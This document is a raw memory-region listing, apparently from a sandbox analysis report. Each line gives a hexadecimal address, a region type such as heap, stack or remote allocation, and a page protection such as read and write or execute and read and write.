||
|
252D8000
|
trusted library allocation
|
page read and write
|
||
|
27AED000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
1D9968FD000
|
heap
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F2F7000
|
heap
|
page read and write
|
||
|
B57000
|
heap
|
page read and write
|
||
|
315E000
|
stack
|
page read and write
|
||
|
3402000
|
heap
|
page read and write
|
||
|
1D9968F0000
|
heap
|
page read and write
|
||
|
26D48A23000
|
trusted library allocation
|
page read and write
|
||
|
72B8000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281F0000
|
trusted library allocation
|
page read and write
|
||
|
A50000
|
trusted library allocation
|
page read and write
|
||
|
282A0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D996136000
|
heap
|
page read and write
|
||
|
26D470F1000
|
trusted library allocation
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
707E000
|
stack
|
page read and write
|
||
|
1D994425000
|
heap
|
page read and write
|
||
|
250A0000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D996132000
|
heap
|
page read and write
|
||
|
330E000
|
stack
|
page read and write
|
||
|
27520000
|
trusted library allocation
|
page read and write
|
||
|
D30000
|
direct allocation
|
page read and write
|
||
|
1D996177000
|
heap
|
page read and write
|
||
|
1D9962BA000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
26D48A3E000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281F0000
|
trusted library allocation
|
page read and write
|
||
|
B71000
|
heap
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D9943E0000
|
remote allocation
|
page read and write
|
||
|
26D45007000
|
heap
|
page read and write
|
||
|
2B40000
|
trusted library section
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
26D474E8000
|
trusted library allocation
|
page read and write
|
||
|
26D5F2C0000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
2D02000
|
trusted library allocation
|
page read and write
|
||
|
1D996900000
|
heap
|
page read and write
|
||
|
A33000
|
trusted library allocation
|
page execute and read and write
|
||
|
6A7E000
|
stack
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
9880000
|
direct allocation
|
page read and write
|
||
|
1D996418000
|
heap
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
723D000
|
heap
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
26D489B9000
|
trusted library allocation
|
page read and write
|
||
|
281A7000
|
trusted library allocation
|
page read and write
|
||
|
1D996119000
|
heap
|
page read and write
|
||
|
1D996137000
|
heap
|
page read and write
|
||
|
7510000
|
trusted library allocation
|
page read and write
|
||
|
7FB0000
|
heap
|
page read and write
|
||
|
6D8E000
|
stack
|
page read and write
|
||
|
85BE000
|
stack
|
page read and write
|
||
|
1D996293000
|
heap
|
page read and write
|
||
|
1D9960F3000
|
heap
|
page read and write
|
||
|
6C90000
|
direct allocation
|
page read and write
|
||
|
1D996915000
|
heap
|
page read and write
|
||
|
2744E000
|
heap
|
page read and write
|
||
|
281B1000
|
trusted library allocation
|
page read and write
|
||
|
1D9962FB000
|
heap
|
page read and write
|
||
|
26D45031000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
2CE9000
|
trusted library allocation
|
page read and write
|
||
|
26D47175000
|
trusted library allocation
|
page read and write
|
||
|
1D9961E0000
|
heap
|
page read and write
|
||
|
1D996256000
|
heap
|
page read and write
|
||
|
28210000
|
trusted library allocation
|
page execute and read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
26D47335000
|
trusted library allocation
|
page read and write
|
||
|
26D44FF7000
|
heap
|
page read and write
|
||
|
1D9960FA000
|
heap
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
1D996245000
|
heap
|
page read and write
|
||
|
26D5F1B7000
|
heap
|
page execute and read and write
|
||
|
F572DFE000
|
stack
|
page read and write
|
||
|
DE25000
|
direct allocation
|
page execute and read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
1D9961C7000
|
heap
|
page read and write
|
||
|
1D996912000
|
heap
|
page read and write
|
||
|
7FF8490C0000
|
trusted library allocation
|
page read and write
|
||
|
1D996198000
|
heap
|
page read and write
|
||
|
7FF849070000
|
trusted library allocation
|
page read and write
|
||
|
1D996163000
|
heap
|
page read and write
|
||
|
8620000
|
direct allocation
|
page read and write
|
||
|
2CDD000
|
trusted library allocation
|
page execute and read and write
|
||
|
24F30000
|
direct allocation
|
page read and write
|
||
|
32EE000
|
unkown
|
page read and write
|
||
|
7FF848FCA000
|
trusted library allocation
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
281A3000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281D7000
|
trusted library allocation
|
page read and write
|
||
|
1D996919000
|
heap
|
page read and write
|
||
|
7FF848E2B000
|
trusted library allocation
|
page read and write
|
||
|
26D46A00000
|
trusted library allocation
|
page read and write
|
||
|
1A9B1BB4000
|
heap
|
page read and write
|
||
|
2DAB000
|
heap
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
1D996307000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
33E0000
|
heap
|
page read and write
|
||
|
26D47514000
|
trusted library allocation
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
7FF848E12000
|
trusted library allocation
|
page read and write
|
||
|
1D996A2A000
|
heap
|
page read and write
|
||
|
C50000
|
heap
|
page read and write
|
||
|
281DE000
|
trusted library allocation
|
page read and write
|
||
|
26D47109000
|
trusted library allocation
|
page read and write
|
||
|
D40000
|
direct allocation
|
page read and write
|
||
|
822C000
|
stack
|
page read and write
|
||
|
9910000
|
direct allocation
|
page read and write
|
||
|
7360000
|
heap
|
page execute and read and write
|
||
|
A34000
|
trusted library allocation
|
page read and write
|
||
|
6D0D000
|
stack
|
page read and write
|
||
|
1D9961B0000
|
heap
|
page read and write
|
||
|
26D470FD000
|
trusted library allocation
|
page read and write
|
||
|
1D994259000
|
heap
|
page read and write
|
||
|
AFA000
|
heap
|
page read and write
|
||
|
26D4711E000
|
trusted library allocation
|
page read and write
|
||
|
25250000
|
heap
|
page read and write
|
||
|
33D0000
|
heap
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
4C98000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
9890000
|
direct allocation
|
page read and write
|
||
|
5565000
|
remote allocation
|
page execute and read and write
|
||
|
32F0000
|
heap
|
page read and write
|
||
|
1D996922000
|
heap
|
page read and write
|
||
|
BB2000
|
heap
|
page read and write
|
||
|
6E4C000
|
stack
|
page read and write
|
||
|
26D5F0B2000
|
heap
|
page read and write
|
||
|
7490000
|
trusted library allocation
|
page read and write
|
||
|
2740E000
|
stack
|
page read and write
|
||
|
1D9961F3000
|
heap
|
page read and write
|
||
|
468E000
|
stack
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
28270000
|
trusted library allocation
|
page read and write
|
||
|
5729000
|
trusted library allocation
|
page read and write
|
||
|
26D5EFD0000
|
heap
|
page read and write
|
||
|
AD8000
|
heap
|
page read and write
|
||
|
1D996930000
|
heap
|
page read and write
|
||
|
8E25000
|
direct allocation
|
page execute and read and write
|
||
|
F5727FF000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
B72000
|
heap
|
page read and write
|
||
|
F5728FE000
|
stack
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
26D46D06000
|
trusted library allocation
|
page read and write
|
||
|
B807000
|
trusted library allocation
|
page read and write
|
||
|
CA33DFF000
|
stack
|
page read and write
|
||
|
25370000
|
trusted library allocation
|
page read and write
|
||
|
98B0000
|
direct allocation
|
page read and write
|
||
|
2FF0000
|
heap
|
page read and write
|
||
|
F572E7B000
|
stack
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
1D9965C3000
|
heap
|
page read and write
|
||
|
27510000
|
trusted library allocation
|
page read and write
|
||
|
1D9964F0000
|
heap
|
page read and write
|
||
|
26D5F1E0000
|
heap
|
page read and write
|
||
|
2C90000
|
heap
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
279FE000
|
stack
|
page read and write
|
||
|
26D48A4E000
|
trusted library allocation
|
page read and write
|
||
|
2B92000
|
heap
|
page read and write
|
||
|
2C25000
|
heap
|
page read and write
|
||
|
26D48A61000
|
trusted library allocation
|
page read and write
|
||
|
7FF849180000
|
trusted library allocation
|
page read and write
|
||
|
27580000
|
heap
|
page read and write
|
||
|
B6F000
|
heap
|
page read and write
|
||
|
82D0000
|
heap
|
page read and write
|
||
|
27520000
|
trusted library allocation
|
page read and write
|
||
|
2D6E000
|
stack
|
page read and write
|
||
|
CA33AFF000
|
stack
|
page read and write
|
||
|
2CC0000
|
trusted library allocation
|
page read and write
|
||
|
F5723FE000
|
stack
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
279BF000
|
stack
|
page read and write
|
||
|
CA337FF000
|
stack
|
page read and write
|
||
|
1D99612C000
|
heap
|
page read and write
|
||
|
1D99615B000
|
heap
|
page read and write
|
||
|
1D99691E000
|
heap
|
page read and write
|
||
|
3404000
|
heap
|
page read and write
|
||
|
7310000
|
trusted library allocation
|
page read and write
|
||
|
250A0000
|
remote allocation
|
page read and write
|
||
|
98E0000
|
direct allocation
|
page read and write
|
||
|
26D44FED000
|
heap
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
1D9943E0000
|
remote allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
8050000
|
trusted library allocation
|
page execute and read and write
|
||
|
85C0000
|
trusted library allocation
|
page read and write
|
||
|
2ADE000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
25240000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
2815E000
|
stack
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
33EC000
|
heap
|
page read and write
|
||
|
7F47000
|
stack
|
page read and write
|
||
|
28230000
|
trusted library allocation
|
page read and write
|
||
|
8D10000
|
direct allocation
|
page execute and read and write
|
||
|
1D994140000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
28220000
|
trusted library allocation
|
page read and write
|
||
|
98A0000
|
direct allocation
|
page read and write
|
||
|
7FF848E13000
|
trusted library allocation
|
page execute and read and write
|
||
|
7317000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
2CFA000
|
trusted library allocation
|
page execute and read and write
|
||
|
8333000
|
heap
|
page read and write
|
||
|
1D99691E000
|
heap
|
page read and write
|
||
|
1D996187000
|
heap
|
page read and write
|
||
|
72A5000
|
heap
|
page read and write
|
||
|
1D9961A8000
|
heap
|
page read and write
|
||
|
7DF4E4460000
|
trusted library allocation
|
page execute and read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
2CD0000
|
trusted library allocation
|
page read and write
|
||
|
27410000
|
heap
|
page read and write
|
||
|
1D996908000
|
heap
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D9962F1000
|
heap
|
page read and write
|
||
|
7F60000
|
trusted library allocation
|
page execute and read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
24E5E000
|
stack
|
page read and write
|
||
|
72AE000
|
heap
|
page read and write
|
||
|
4620000
|
trusted library allocation
|
page read and write
|
||
|
1D9960F8000
|
heap
|
page read and write
|
||
|
1D99614E000
|
heap
|
page read and write
|
||
|
8309000
|
heap
|
page read and write
|
||
|
D425000
|
direct allocation
|
page execute and read and write
|
||
|
BA7000
|
heap
|
page read and write
|
||
|
8765000
|
remote allocation
|
page execute and read and write
|
||
|
252B0000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
1D996905000
|
heap
|
page read and write
|
||
|
26D4502F000
|
heap
|
page read and write
|
||
|
26D45210000
|
heap
|
page read and write
|
||
|
1A9B191A000
|
heap
|
page read and write
|
||
|
460E000
|
stack
|
page read and write
|
||
|
2529F000
|
stack
|
page read and write
|
||
|
1D9961D3000
|
heap
|
page read and write
|
||
|
26D45215000
|
heap
|
page read and write
|
||
|
F5738CD000
|
stack
|
page read and write
|
||
|
26D47170000
|
trusted library allocation
|
page read and write
|
||
|
3280000
|
heap
|
page read and write
|
||
|
74F0000
|
trusted library allocation
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
26D56C81000
|
trusted library allocation
|
page read and write
|
||
|
2EBD000
|
stack
|
page read and write
|
||
|
1D996102000
|
heap
|
page read and write
|
||
|
2CB0000
|
trusted library section
|
page read and write
|
||
|
46F8000
|
heap
|
page read and write
|
||
|
1D9961E8000
|
heap
|
page read and write
|
||
|
27520000
|
trusted library allocation
|
page read and write
|
||
|
26D46AD0000
|
heap
|
page read and write
|
||
|
1D99616C000
|
heap
|
page read and write
|
||
|
CA25000
|
direct allocation
|
page execute and read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
1D99629D000
|
heap
|
page read and write
|
||
|
1D996184000
|
heap
|
page read and write
|
||
|
7FF849100000
|
trusted library allocation
|
page read and write
|
||
|
A6B000
|
trusted library allocation
|
page execute and read and write
|
||
|
281A3000
|
trusted library allocation
|
page read and write
|
||
|
2848E000
|
stack
|
page read and write
|
||
|
878000
|
stack
|
page read and write
|
||
|
7FF848EC6000
|
trusted library allocation
|
page read and write
|
||
|
1D99610D000
|
heap
|
page read and write
|
||
|
F57394B000
|
stack
|
page read and write
|
||
|
6965000
|
remote allocation
|
page execute and read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D996193000
|
heap
|
page read and write
|
||
|
A62000
|
trusted library allocation
|
page read and write
|
||
|
1D99612A000
|
heap
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
27A9D000
|
stack
|
page read and write
|
||
|
1D996307000
|
heap
|
page read and write
|
||
|
27AE0000
|
trusted library allocation
|
page read and write
|
||
|
2FEF000
|
stack
|
page read and write
|
||
|
AD0000
|
heap
|
page read and write
|
||
|
2830D000
|
trusted library allocation
|
page read and write
|
||
|
B72000
|
heap
|
page read and write
|
||
|
70E2000
|
heap
|
page read and write
|
||
|
80D5000
|
trusted library allocation
|
page read and write
|
||
|
1D99615E000
|
heap
|
page read and write
|
||
|
1D99617C000
|
heap
|
page read and write
|
||
|
26391000
|
trusted library allocation
|
page read and write
|
||
|
2CD4000
|
trusted library allocation
|
page read and write
|
||
|
82F5000
|
heap
|
page read and write
|
||
|
27ADE000
|
stack
|
page read and write
|
||
|
36D0000
|
heap
|
page read and write
|
||
|
CA332F9000
|
stack
|
page read and write
|
||
|
2513F000
|
stack
|
page read and write
|
||
|
7530000
|
trusted library allocation
|
page read and write
|
||
|
26D46EA6000
|
trusted library allocation
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
A4D000
|
trusted library allocation
|
page execute and read and write
|
||
|
2819E000
|
stack
|
page read and write
|
||
|
3380000
|
heap
|
page read and write
|
||
|
1D996126000
|
heap
|
page read and write
|
||
|
7550000
|
trusted library allocation
|
page read and write
|
||
|
7FF848FC1000
|
trusted library allocation
|
page read and write
|
||
|
32A0000
|
heap
|
page read and write
|
||
|
2797D000
|
stack
|
page read and write
|
||
|
4165000
|
remote allocation
|
page execute and read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
8600000
|
trusted library allocation
|
page read and write
|
||
|
2CF0000
|
trusted library allocation
|
page read and write
|
||
|
1D9961B8000
|
heap
|
page read and write
|
||
|
327E000
|
unkown
|
page read and write
|
||
|
26D44F80000
|
heap
|
page read and write
|
||
|
82AE000
|
stack
|
page read and write
|
||
|
7378000
|
trusted library allocation
|
page read and write
|
||
|
273CC000
|
stack
|
page read and write
|
||
|
8305000
|
heap
|
page read and write
|
||
|
2C22000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
7FF8490D0000
|
trusted library allocation
|
page read and write
|
||
|
263B9000
|
trusted library allocation
|
page read and write
|
||
|
1D9941C0000
|
heap
|
page read and write
|
||
|
8F0000
|
heap
|
page read and write
|
||
|
7FF849090000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
A30000
|
trusted library allocation
|
page read and write
|
||
|
26D46A70000
|
trusted library allocation
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
CA338FB000
|
stack
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
25419000
|
trusted library allocation
|
page read and write
|
||
|
26D5EFC5000
|
heap
|
page read and write
|
||
|
1D9963E9000
|
heap
|
page read and write
|
||
|
1D9962FF000
|
heap
|
page read and write
|
||
|
2754E000
|
trusted library allocation
|
page read and write
|
||
|
351E000
|
stack
|
page read and write
|
||
|
281B2000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
27544000
|
trusted library allocation
|
page read and write
|
||
|
8530000
|
trusted library allocation
|
page read and write
|
||
|
1D9964FA000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D996915000
|
heap
|
page read and write
|
||
|
26D474FD000
|
trusted library allocation
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
2A9E000
|
stack
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
576A000
|
trusted library allocation
|
page read and write
|
||
|
361F000
|
stack
|
page read and write
|
||
|
26D451D0000
|
heap
|
page read and write
|
||
|
27510000
|
trusted library allocation
|
page read and write
|
||
|
7FF849030000
|
trusted library allocation
|
page read and write
|
||
|
26D48CC5000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
250A0000
|
remote allocation
|
page read and write
|
||
|
281A1000
|
trusted library allocation
|
page read and write
|
||
|
2755E000
|
trusted library allocation
|
page read and write
|
||
|
740E000
|
stack
|
page read and write
|
||
|
CA33BFD000
|
stack
|
page read and write
|
||
|
6CC0000
|
direct allocation
|
page read and write
|
||
|
1D9961EE000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
1D996305000
|
heap
|
page read and write
|
||
|
1D994259000
|
heap
|
page read and write
|
||
|
F572B7B000
|
stack
|
page read and write
|
||
|
2FAE000
|
stack
|
page read and write
|
||
|
1D99691E000
|
heap
|
page read and write
|
||
|
9957000
|
heap
|
page read and write
|
||
|
7F70000
|
trusted library allocation
|
page read and write
|
||
|
28290000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
44FAFF000
|
stack
|
page read and write
|
||
|
26D4710D000
|
trusted library allocation
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
26D47133000
|
trusted library allocation
|
page read and write
|
||
|
28270000
|
trusted library allocation
|
page read and write
|
||
|
274B8000
|
heap
|
page read and write
|
||
|
7FF8490B0000
|
trusted library allocation
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
9920000
|
direct allocation
|
page read and write
|
||
|
826E000
|
stack
|
page read and write
|
||
|
25380000
|
heap
|
page execute and read and write
|
||
|
26D469E0000
|
trusted library allocation
|
page read and write
|
||
|
7F50000
|
heap
|
page read and write
|
||
|
276FC000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
252A0000
|
trusted library allocation
|
page read and write
|
||
|
F57384E000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D996245000
|
heap
|
page read and write
|
||
|
1D996167000
|
heap
|
page read and write
|
||
|
1D996231000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
24F7E000
|
stack
|
page read and write
|
||
|
26D48A7B000
|
trusted library allocation
|
page read and write
|
||
|
1D996237000
|
heap
|
page read and write
|
||
|
F572CFE000
|
stack
|
page read and write
|
||
|
2B50000
|
heap
|
page read and write
|
||
|
27467000
|
heap
|
page read and write
|
||
|
281D7000
|
trusted library allocation
|
page read and write
|
||
|
1D996156000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D99639A000
|
heap
|
page read and write
|
||
|
1D996932000
|
heap
|
page read and write
|
||
|
2B1E000
|
stack
|
page read and write
|
||
|
7FF848F30000
|
trusted library allocation
|
page execute and read and write
|
||
|
1D9962FF000
|
heap
|
page read and write
|
||
|
6B7E000
|
stack
|
page read and write
|
||
|
26D44FA0000
|
heap
|
page read and write
|
||
|
D50000
|
direct allocation
|
page read and write
|
||
|
8040000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
7FF848E1D000
|
trusted library allocation
|
page execute and read and write
|
||
|
26D474CB000
|
trusted library allocation
|
page read and write
|
||
|
1D99642F000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D994428000
|
heap
|
page read and write
|
||
|
6AFF000
|
stack
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
71E0000
|
heap
|
page read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
803E000
|
stack
|
page read and write
|
||
|
28300000
|
trusted library allocation
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
27552000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281F0000
|
trusted library allocation
|
page read and write
|
||
|
274F4000
|
heap
|
page read and write
|
||
|
F57297E000
|
stack
|
page read and write
|
||
|
1D99442B000
|
heap
|
page read and write
|
||
|
1D9962FC000
|
heap
|
page read and write
|
||
|
4763000
|
trusted library allocation
|
page read and write
|
||
|
5F65000
|
remote allocation
|
page execute and read and write
|
||
|
82F0000
|
heap
|
page read and write
|
||
|
4610000
|
trusted library allocation
|
page execute and read and write
|
||
|
A65000
|
trusted library allocation
|
page execute and read and write
|
||
|
74D0000
|
trusted library allocation
|
page read and write
|
||
|
24E1E000
|
stack
|
page read and write
|
||
|
7320000
|
trusted library allocation
|
page read and write
|
||
|
1D996279000
|
heap
|
page read and write
|
||
|
6C80000
|
direct allocation
|
page read and write
|
||
|
7F80000
|
trusted library allocation
|
page read and write
|
||
|
46A0000
|
heap
|
page execute and read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
1D996116000
|
heap
|
page read and write
|
||
|
9E0000
|
heap
|
page read and write
|
||
|
1D996399000
|
heap
|
page read and write
|
||
|
72E0000
|
trusted library allocation
|
page read and write
|
||
|
6E60000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
1D99614B000
|
heap
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1A9B1910000
|
heap
|
page read and write
|
||
|
BD0000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
253E1000
|
trusted library allocation
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
4C7E000
|
trusted library allocation
|
page read and write
|
||
|
1D9962ED000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
CA33EFB000
|
stack
|
page read and write
|
||
|
26D44FE7000
|
heap
|
page read and write
|
||
|
250A0000
|
remote allocation
|
page read and write
|
||
|
26D48A4A000
|
trusted library allocation
|
page read and write
|
||
|
2811E000
|
stack
|
page read and write
|
||
|
2B85000
|
heap
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
34B8000
|
heap
|
page read and write
|
||
|
CA339FC000
|
stack
|
page read and write
|
||
|
1D9962A1000
|
heap
|
page read and write
|
||
|
376F000
|
stack
|
page read and write
|
||
|
B6A000
|
heap
|
page read and write
|
||
|
7FF849140000
|
trusted library allocation
|
page read and write
|
||
|
26D46C81000
|
trusted library allocation
|
page read and write
|
||
|
1D9962BA000
|
heap
|
page read and write
|
||
|
8100000
|
trusted library allocation
|
page read and write
|
||
|
2D00000
|
trusted library allocation
|
page read and write
|
||
|
25425000
|
trusted library allocation
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
44F8FD000
|
stack
|
page read and write
|
||
|
281A0000
|
trusted library allocation
|
page read and write
|
||
|
1D996418000
|
heap
|
page read and write
|
||
|
7FF849120000
|
trusted library allocation
|
page read and write
|
||
|
26D48A27000
|
trusted library allocation
|
page read and write
|
||
|
27528000
|
trusted library allocation
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
253CF000
|
trusted library allocation
|
page read and write
|
||
|
6DCA000
|
stack
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
F5729FE000
|
stack
|
page read and write
|
||
|
281C0000
|
trusted library allocation
|
page read and write
|
||
|
9D9000
|
heap
|
page read and write
|
||
|
281F0000
|
trusted library allocation
|
page read and write
|
||
|
26D5F1C0000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page execute and read and write
|
||
|
8060000
|
trusted library allocation
|
page read and write
|
||
|
26D5F026000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
4050000
|
remote allocation
|
page execute and read and write
|
||
|
1D9962DA000
|
heap
|
page read and write
|
||
|
1D9968F1000
|
heap
|
page read and write
|
||
|
1D996A2A000
|
heap
|
page read and write
|
||
|
1D996174000
|
heap
|
page read and write
|
||
|
F572BF9000
|
stack
|
page read and write
|
||
|
26D5F2F3000
|
heap
|
page read and write
|
||
|
1D99622D000
|
heap
|
page read and write
|
||
|
1D996259000
|
heap
|
page read and write
|
||
|
1D9962C5000
|
heap
|
page read and write
|
||
|
281D0000
|
trusted library allocation
|
page read and write
|
||
|
281E0000
|
trusted library allocation
|
page read and write
|
||
|
27520000
|
trusted library allocation
|
page read and write
|
||
|
7370000
|
trusted library allocation
|
page read and write
|
||
|
1D994420000
|
heap
|
page read and write
|
||
|
1D9962E0000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
A67000
|
trusted library allocation
|
page execute and read and write
|
||
|
70BE000
|
stack
|
page read and write
|
||
|
2F60000
|
heap
|
page read and write
|
||
|
1D99693D000
|
heap
|
page read and write
|
||
|
26D451D5000
|
heap
|
page read and write
|
||
|
24BA0000
|
heap
|
page read and write
|
||
|
28280000
|
trusted library allocation
|
page read and write
|
||
|
6C70000
|
direct allocation
|
page read and write
|
||
|
1D9962DB000
|
heap
|
page read and write
|
||
|
1D9961C0000
|
heap
|
page read and write
|
||
|
28200000
|
trusted library allocation
|
page read and write
|
||
|
80F0000
|
trusted library allocation
|
page execute and read and write
|
||
|
1D9941BF000
|
heap
|
page read and write
|
||
|
1A9B1A10000
|
heap
|
page read and write
|
||
|
1D9961BB000
|
heap
|
page read and write
|
||
|
A52000
|
trusted library allocation
|
page read and write
|
||
|
2CD3000
|
trusted library allocation
|
page execute and read and write
|
||
|
BAE000
|
heap
|
page read and write
|
||
|
6C0D000
|
stack
|
page read and write
|
||
|
2BD2000
|
heap
|
page read and write
|
||
|
7FF849110000
|
trusted library allocation
|
page read and write
|
||
|
24C2E000
|
stack
|
page read and write
|
||
|
26D56F7B000
|
trusted library allocation
|
page read and write
|
||
|
7FF848E14000
|
trusted library allocation
|
page read and write
|
||
|
1D9960F0000
|
heap
|
page read and write
|
||
|
1D994110000
|
heap
|
page read and write
|
||
|
281B0000
|
trusted library allocation
|
page read and write
|
||
|
CA334FE000
|
stack
|
page read and write
|
||
|
B1B000
|
heap
|
page read and write
|
||
|
1A9B1BB0000
|
heap
|
page read and write
|
||
|
44F9FF000
|
unkown
|
page read and write
|
||
|
